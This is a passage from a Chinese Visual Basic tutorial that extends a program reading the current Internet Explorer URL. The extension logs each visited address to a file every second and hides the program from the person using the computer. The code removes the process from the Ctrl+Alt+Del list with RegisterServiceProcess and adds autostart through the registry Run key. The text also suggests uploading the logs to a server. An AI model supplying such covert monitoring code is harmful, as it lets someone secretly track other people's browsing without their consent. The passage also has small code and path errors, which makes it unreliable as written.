二、添加定时保存功能
我们对上面的程序稍作改动,即可实现定时把当前访问的网址保存到文件,这样就为我们进行网络监控提供了保证。
1.在窗体上添加Timer控件Timer1,并将其属性Interval设置为1000,双击此控件,定义代码如下:
Private Sub Timer1_Timer()
GetURLstring_Click
End Sub
2. 在窗体代码开始的声明部分定义变量curUrl
Dim curUrl As String
3.用文件操作函数把Buffer变量中的字符串写进磁盘文件中,添加代码如下
Private Sub Form_Load()
Open App.Path & ″TestFile.txt″ For Output Access Write As #1 ′打开一个文件End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Close #1 ′关闭开始打开的文件
End Sub
并把GetURLstring_Click()中的如下部分
If buffer = ″″ Then
MsgBox ″MicroSoft InternetExplorer浏览器没有运行.″, vbOKOnly
Else
MsgBox buffer ′IE运行时显示当前网址
End If
改为如下代码:
If buffer <> ″″ And buffer <> curUrl Then
Write #1, Now & vbTab & buffer
curUrl = buffer
End If
三、隐蔽运行
为了防止运行在客户端的程序被用户发现,可以把窗体隐藏,并调用API函数让其在Ctrl+Alt+Del的程序列表中消失,需要把自己的程序注册为服务器(Service),这可以利用RegisterService API函数将程序的进程ID进行注册来实现。在程序退出时再次使用此API函数将服务器注册取消。方法如下:
1.在窗体的声明部分声明加入API函数和需要的常数:
Private Declare Function GetCurrentProcessId Lib ″kernel32″ () As Long
Private Declare Function GetCurrentProcess Lib ″kernel32″ () As Long
Private Declare Function RegisterServiceProcess Lib ″kernel32″ (ByVal dwProcessID As Long, _ ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
2.注册为service和释放注册的过程:
在Form_Load事件的开始添加如下代码
Dim pid As Long
Dim reserv As Long
pid = GetCurrentProcessId() ′得到当前进程ID
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) ′把本程序注册为service
把Form_QueryUnload事件修改为如下代码,即在程序结束时把服务器注册取消
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim pid As Long
Dim reserv As Long
Close #1
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE)
End Sub
如果让程序开机运行,需要先把文件编译为可执行文件放到特定目录下,并修改注册表让其开机便运行,路径是HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersonRun,用API函数在里面写入个字符串型的键值,并把内容修改成为你的文件名(包括路径)即可,当然,更为实用的功能是把访问的网址信息定时传送到服务器,需要用到Winsock控件和定时传输。
责任编辑:cyth